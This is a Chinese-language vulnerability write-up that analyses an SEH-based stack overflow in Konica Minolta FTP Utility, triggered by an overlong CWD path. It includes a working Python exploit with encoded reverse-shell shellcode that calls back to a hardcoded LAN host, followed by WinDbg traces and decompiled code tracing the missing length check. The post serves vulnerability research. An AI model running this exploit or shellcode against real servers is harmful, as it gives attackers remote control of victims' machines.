作者:k0shl 转载请注明出处:http://whereisk0shl.top
忘了在博客说,由于年前后事情比较多,有点忙,因此微博改成一周一更,正月十五之后恢复一周多更~提前给大家拜早年了!
漏洞说明
软件下载:
https://www.exploit-db.com/apps/6388a2ae7dd2965225b3c8fad62f2b3b-ftpu_10.zip
PoC:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2B"
#msfvenom -a x86 --platform windows -p windowsell_reverse_tcp LHOST=192.168.0.118 LPORT=4444 -e x86ikata_ga_nai -b "\x00\x0d\x0a\x3d\x5c\x2f" -i 3 -f python
buf = ""
buf += "\xbe\x95\x8c\xbb\x24\xdb\xdb\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x5f\x31\x72\x14\x83\xc2\x04\x03\x72\x10\x77"
buf += "\x79\x62\xe1\xae\xf6\xb1\x1e\xed\x1e\xe6\x8d\x3f\xba"
buf += "\x32\xfb\x8e\x64\x74\x90\xea\x97\x1d\x7c\x89\x73\x1d"
buf += "\x62\x91\x66\xa8\x21\x9a\xb7\xf6\xc8\xce\xd3\x8e\x8f"
buf += "\x12\xa5\xc1\x62\x44\xeb\x33\x84\x55\x7e\xa1\xae\xc1"
buf += "\x73\x50\xb4\xc6\xeb\x8a\x28\x66\x13\x8b\x8b\x42\x6d"
buf += "\x5b\xa6\x63\x02\xbe\x7b\x71\xf0\xcd\x6e\x36\x8c\x69"
buf += "\x3a\x7b\xc8\x03\xc7\xcf\xbe\x12\x0e\xf3\x7a\x29\xa7"
buf += "\xe3\xb3\x54\xd3\x12\xd7\x99\x2c\x7e\x63\x6d\x08\x79"
buf += "\x20\x29\x59\xf2\xfe\xe0\x1f\x9e\x6b\xa6\x36\x5a\x75"
buf += "\x15\xd8\x5d\x8b\x65\xdb\xad\x7c\x84\xe8\x17\xac\x07"
buf += "\xef\x45\x18\x29\x06\xbe\x07\x65\x68\xd5\xf9\xcb\x15"
buf += "\x56\x13\x25\xa3\x72\xd0\xd7\x57\x77\xbb\x8f\x4d\x17"
buf += "\xaf\xf9\x77\x53\x17\xf5\xeb\xab\xe0\x11\x1f\x88\xea"
buf += "\xab\xa9\xce\x0b\x8d\x84\x8f\x76\x05\x05\xdc\x04\x0c"
buf += "\x16\xc9\x84\x06\x6f\x2d\x02\x61\x59\xcd\x36\x17\x88"
buf += "\xe9\x3a\x4f\x63\x9e\x61\x24\xbf\xdc\xd9\x53\x42\x1a"
buf += "\xdf\xb2\x6e\xfe\xec\x8c\xf5\x6d\xeb\x74\x89\x29\x11"
buf += "\x1f\x4d\x9c\xc4\x64\xb9\x8c\x54\xa3\x2c\x3f\xf4\x98"
buf += "\x42\x11\xe0\x06\x32\x57\x75\xac\xaa\xec\x10\xda\x6d"
buf += "\x20\x51\x57\xdd\x99\x1f\x35\x90\x23\xb6\xdb\x37\x17"
buf += "\x1f\x1b\xea\xd1\x37\xc0\x88\x74\x4e\x74\xcf\x63\xb0"
buf += "\x4f\xdc\x2c\x90\xe2\x08\xcd\x49\x40\x36\x1a\xfb\x18"
buf += "\x29\x2b\x6f\x2e\x3c\x57\x6a\x79\xa8\xac\x49\xbe\xe7"
buf += "\x2e\x48\xa0\xeb\x4f\x36\x3b\xa2\x40\xff\x9f\x21\xcd"
buf += "\x8e\xb3\xdf\x92\xed\x3f\x12\x81\x1a\xba\x02\x20\x8f"
buf += "\x1d\x5a\xef\xb1\xc3\xb0\x90\xed\x6a\x21\x5b\xc6\xb9"
buf += "\x24\x3f\xa0\x3f\xc8\x4f\x05\xa3\xcf\x06\xa4\x06\xd5"
buf += "\x8e\xd7\x3e\x11\xc4\x8c\x12\xa7\x3b\x75\x3f\xe8\xd3"
buf += "\xd7\x08\x39\x83\xfa\x80\x71\x3c\x6e\x29\x8d\x5e\xcc"
buf += "\xa1\xd4"
#nSEH = "\xEB\x13\x90\x90"
#SEH = "\x9D\x6D\x20\x12" >> 12206D9D
buffer = "\x41" * 1037 + "\xeb\x0a\x90\x90" + "\x9D\x6D\x20\x12" + "\x90" *30 + buf + "D"*1955
#buffer = "\x41" * 1060
print "\sending evil buffer...."
s.connect(('192.168.0.109',21)) #HARDCODED IP ADDRESS.
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
s.send('CWD ' +buffer+'\r\n')
s.close
调试环境:
windows xp sp3
一看这个PoC就是调试的时候用了mona,如果想确保漏洞触发的话可以把shellcode部分也改成畸形字符串,而且这个也不一定能用,IP地址需要修改,可写死也可以设置成输入参数,运行FTP,然后运行PoC,可以触发漏洞。
漏洞复现及分析
此漏洞是由于sub_408090函数中,通过makepath构造路径时,没有对路径长度进行有效检查,导致后续进行fullpath拷贝生成绝对路径后,调用CString进行字符串构造造成了字符串赋值异常,进入SEH异常处理,再通过覆盖SEH指针,达到任意代码执行的效果,下面对此漏洞进行详细分析。
首先是通过样本发送畸形字符串,到达漏洞现场,附加windbg。
0:003> g
(c20.16b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00dc2dac ebx=00cafb02 ecx=00caf554 edx=00000000 esi=41414141 edi=00000000
eip=73d343a2 esp=00caf538 ebp=003bb65c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL -
MFC42!Ordinal535+0x11:
73d343a2 8906 mov dword ptr [esi],eax ds:0023:41414141=????????
可以看到到达异常位置,继续执行,eip变为41414141,证明SEH指针可控。
0:001> g
(c20.16b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=00caf168 ebp=00caf188 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
可以看到在字符串进行拷贝时,由于esi指针为41414141,这个指针是一个异常指针,通过kb回溯一下堆栈调用。
0:001> kb
*** WARNING: Unable to verify checksum for C:\Program Files\KONICA MINOLTA\FTP Utility\KMFtp.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\KONICA MINOLTA\FTP Utility\KMFtp.exe
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00caf538 00408310 00caf554 003ba960 00cafae0 MFC42!Ordinal535+0x11
00caf53c 00caf554 003ba960 00cafae0 00cafb10 KMFtp+0x8310
00caf540 003ba960 00cafae0 00cafb10 00000000 0xcaf554
00caf554 00dc2dac 00dc0c24 003b3f28 00000000 0x3ba960
00caf558 00dc0c24 003b3f28 00000000 415c3a43 0xdc2dac
00caf55c 003b3f28 00000000 415c3a43 41414141 0xdc0c24
00caf560 00000000 415c3a43 41414141 41414141 0x3b3f28
我们就从MFC42入手,再逐步回溯,重现漏洞产生的原因。
漏洞分析
可以看到程序最后崩溃在系统dll MFC42.dll 中,我们来看一下这段函数。
首先通过lm来查看一下MFC42.dll中对应的地址区间。
73d30000 73e2e000 MFC42 (export symbols) C:\WINDOWS\system32\MFC42.DLL
重新看一下漏洞触发的函数位置。
.text:73D34391 ; int __thiscall CString::CString(CString *this, int)
.text:73D34391 public ??0CString@@QAE@ABV0@@Z
.text:73D34391 ??0CString@@QAE@ABV0@@Z proc near ; CODE XREF: operator+(CString const &,CString const &)+40_x0019_p
.text:73D34391 ; COleDocument::SaveModified(void)+71_x0019_p ...
.text:73D34391
.text:73D34391 arg_0 = dword ptr 4
.text:73D34391
.text:73D34391 mov edi, edi
.text:73D34393 push esi
.text:73D34394 mov esi, ecx
.text:73D34396 mov ecx, [esp+4+arg_0]
.text:73D3439A mov eax, [ecx]
.text:73D3439C cmp dword ptr [eax-0Ch], 0
.text:73D343A0 jl short loc_73D343B0
.text:73D343A2 mov [esi], eax
在73D343A2位置的mov [esi],eax 就是漏洞发生的位置,调用的是CString类中的CString函数,我们来查看一下这段伪代码。
CString *__thiscall CString::CString(CString *this, int a2)
{
CString *v2; // esi@1
LPCSTR v3; // eax@1
v2 = this;
v3 = *(LPCSTR *)a2;
if ( *(_DWORD *)(*(_DWORD *)a2 - 12) < 0 )
{
*(_DWORD *)this = off_73E086C0;
CString::operator=(this, *(LPCSTR *)a2);
}
else
{
*(_DWORD *)this = v3;
可以看到 *(_DWORD *)this = v3; 执行拷贝操作时,由于this指针的值被覆盖,所以导致了函数进入SEH异常处理流程。我们重点要关注的就是this指针为什么会被覆盖。
重新分析程序,找到了接收函数。
.text:00406BCF call ?Receive@CAsyncSocket@@UAEHPAXHH@Z ; CAsyncSocket::Receive(void *,int,int)
.text:00406ABF call ?Receive@CAsyncSocket@@UAEHPAXHH@Z ; CAsyncSocket::Receive(void *,int,int)
.text:00404ED5 call ?OnReceive@CAsyncSocket@@MAEXH@Z ; CAsyncSocket::OnReceive(int)
我们在这三处下断点,执行PoC,中断后单步执行,到达漏洞触发的call函数。
0:003> g
Breakpoint 0 hit
eax=00caf554 ebx=00cafb02 ecx=41414141 edx=00000000 esi=41414141 edi=00000000
eip=0040830b esp=00caf540 ebp=003be94c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
KMFtp+0x830b:
0040830b e8b03f0000 call KMFtp+0xc2c0 (0040c2c0)
这时可以看一下esp寄存器中的值。
0:001> dc esp
00caf540 00caf554 003babf8 00cafae0 00cafb10 T.....;.........
00caf550 00000000 00dc180c 00dc180c 00dc0054 ............T...
00caf560 003b4158 00000000 415c3a43 41414141 XA;.....C:\AAAAA
00caf570 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00caf580 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00caf590 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00caf5a0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00caf5b0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
可以看到此时CWD命令构造的路径已经传入了,那么我们继续进入这个函数。
0:001> p
eax=00000000 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=0040826c esp=00caf544 ebp=003be94c iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
KMFtp+0x826c:
0040826c 6a00 push 0
0:001> p
eax=00000000 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=0040826e esp=00caf540 ebp=003be94c iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
KMFtp+0x826e:
0040826e 55 push ebp
0:001> p
eax=00000000 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=0040826f esp=00caf53c ebp=003be94c iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
KMFtp+0x826f:
0040826f 52 push edx
0:001> p
eax=00000000 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=00408270 esp=00caf538 ebp=003be94c iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
KMFtp+0x8270:
00408270 8d442430 lea eax,[esp+30h]
0:001> p
eax=00caf568 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=00408274 esp=00caf538 ebp=003be94c iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
KMFtp+0x8274:
00408274 6a00 push 0
0:001> p
eax=00caf568 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=00408276 esp=00caf534 ebp=003be94c iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
KMFtp+0x8276:
00408276 50 push eax
0:001> p
eax=00caf568 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=00408277 esp=00caf530 ebp=003be94c iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
KMFtp+0x8277:
00408277 ff1574e54000 call dword ptr [KMFtp+0xe574 (0040e574)] ds:0023:0040e574={msvcrt!makepath (77c05e76)}
0:001> p
eax=00000000 ebx=00cafb02 ecx=00000000 edx=003b3edb esi=003babf8 edi=00000000
eip=0040827d esp=00caf530 ebp=003be94c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
KMFtp+0x827d:
0040827d 8d4c2438 lea ecx,[esp+38h]
0:001> dd 00cafac8
00cafac8 41414141 41414141 41414141 41414141
00cafad8 41414141 41414141 41414141 41414141
00cafae8 41414141 41414141 41414141 41414141
00cafaf8 41414141 41414141 41414141 41414141
00cafb08 41414141 41414141 41414141 41414141
可以看到makepath之后,00cafac8已经被畸形字符串覆盖了,这个00cafac8就是之后出问题的地方,这里我们接着往下看。
0:001> p
eax=00dc2100 ebx=00cafb02 ecx=00dc21f4 edx=00000000 esi=003babf8 edi=00000000
eip=004082fd esp=00caf544 ebp=003be94c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
KMFtp+0x82fd:
004082fd 8bb42444040000 mov esi,dword ptr [esp+444h] ss:0023:00caf988=41414141
0:001> dd esp+444
00caf988 41414141 41414141 41414141 41414141
00caf998 41414141 41414141 41414141 41414141
00caf9a8 41414141 41414141 41414141 41414141
00caf9b8 41414141 41414141 41414141 41414141
00caf9c8 41414141 41414141 41414141 41414141
00caf9d8 41414141 41414141 41414141 41414141
00caf9e8 41414141 41414141 41414141 41414141
00caf9f8 41414141 41414141 41414141 41414141
接下来的这处赋值,将esi指针被41414141赋值,正是之前的操作导致了esp+444位置原本存放的指针被覆盖。
我们来看一下漏洞函数的伪代码。
int __thiscall sub_408090(_DWORD *this, int a2, char *Filename)
{
_DWORD *v3; // esi@1
const unsigned __int8 *v4; // ST14_4@2
const unsigned __int8 **v5; // eax@3
bool v6; // ST2F_1@3
bool v7; // al@3
int v8; // eax@6
int v9; // eax@6
int *v10; // ecx@6
int v11; // eax@7
int v12; // eax@7
char v14; // [sp+Fh] [bp-431h]@3
char *Path; // [sp+10h] [bp-430h]@1
int v16; // [sp+14h] [bp-42Ch]@2
int v17; // [sp+18h] [bp-428h]@1
char v18; // [sp+1Ch] [bp-424h]@3
int v19; // [sp+20h] [bp-420h]@1
char FullPath; // [sp+24h] [bp-41Ch]@6
char v21; // [sp+22Ch] [bp-214h]@7
int v22; // [sp+43Ch] [bp-4h]@1
v3 = this;
v19 = 0;
CString::CString(&Path, aC);
v22 = 1;
CString::CString(&v17, Filename);
LOBYTE(v22) = 2;
CString::TrimLeft((CString *)&v17, asc_4149D8);
if ( !*(_DWORD *)(v17 - 8) )
goto LABEL_11;
v4 = *(const unsigned __int8 **)CString::Left(&v17, &v16, 1);
LOBYTE(v22) = 3;
if ( !mbsicmp(v4, (const unsigned __int8 *)&byte_4141B4)
|| (v5 = (const unsigned __int8 **)CString::Left(&v17, &v18, 1),
v6 = mbsicmp(*v5, (const unsigned __int8 *)asc_414A50) == 0,
CString::~CString((CString *)&v18),
v7 = v6,
v14 = 0,
v7) )
{
v14 = 1;
}
LOBYTE(v22) = 2;
CString::~CString((CString *)&v16);
if ( v14 )
{
v8 = operator+(&v16, aC, &v17);
LOBYTE(v22) = 4;
CString::operator=(&Path, v8);
LOBYTE(v22) = 2;
CString::~CString((CString *)&v16);
fullpath(&FullPath, Path, 0x208u);
CString::operator=(&Path, &FullPath);
CString::Replace((CString *)&Path, aC, byte_414E00);
v9 = sub_407FA0((int)&v16, (unsigned __int8 *)Path);
LOBYTE(v22) = 5;
CString::operator=(&Path, v9);
LOBYTE(v22) = 2;
v10 = &v16;
}
else
{
LABEL_11:
v11 = sub_407F00(&v16, v3[10]);
LOBYTE(v22) = 6;
CString::operator+=(&Path, v11);
LOBYTE(v22) = 2;
CString::~CString((CString *)&v16);
makepath(&FullPath, 0, Path, Filename, 0);
fullpath(&v21, &FullPath, 0x208u);
CString::operator=(&Path, &v21);
CString::Replace((CString *)&Path, aC, byte_414E00);
v12 = sub_407FA0((int)&v16, (unsigned __int8 *)Path);
LOBYTE(v22) = 7;
CString::operator=(&Path, v12);
LOBYTE(v22) = 2;
v10 = &v16;
}
CString::~CString((CString *)v10);
CString::TrimRight((CString *)&Path, &byte_4141B4);
CString::CString(a2, &Path);
我来梳理一下整个流程。
首先是
makepath(&FullPath, 0, Path, Filename, 0);
其中Filename存放的是畸形字符串AAAAAA...,这里会将Path拼接File赋值给FullPath,接下来。
fullpath(&v21, &FullPath, 0x208u);
fullpath可以获取绝对路径,将FullPath交给v21,紧接着。
CString::operator=(&Path, &v21);
v21的值会交给Path,而这一步会导致a2被覆盖,到最后。
CString::CString(a2, &Path);
调用CString会因为指针异常导致SEH异常处理。而在整个过程中,并没有对Path路径的长度进行任何控制。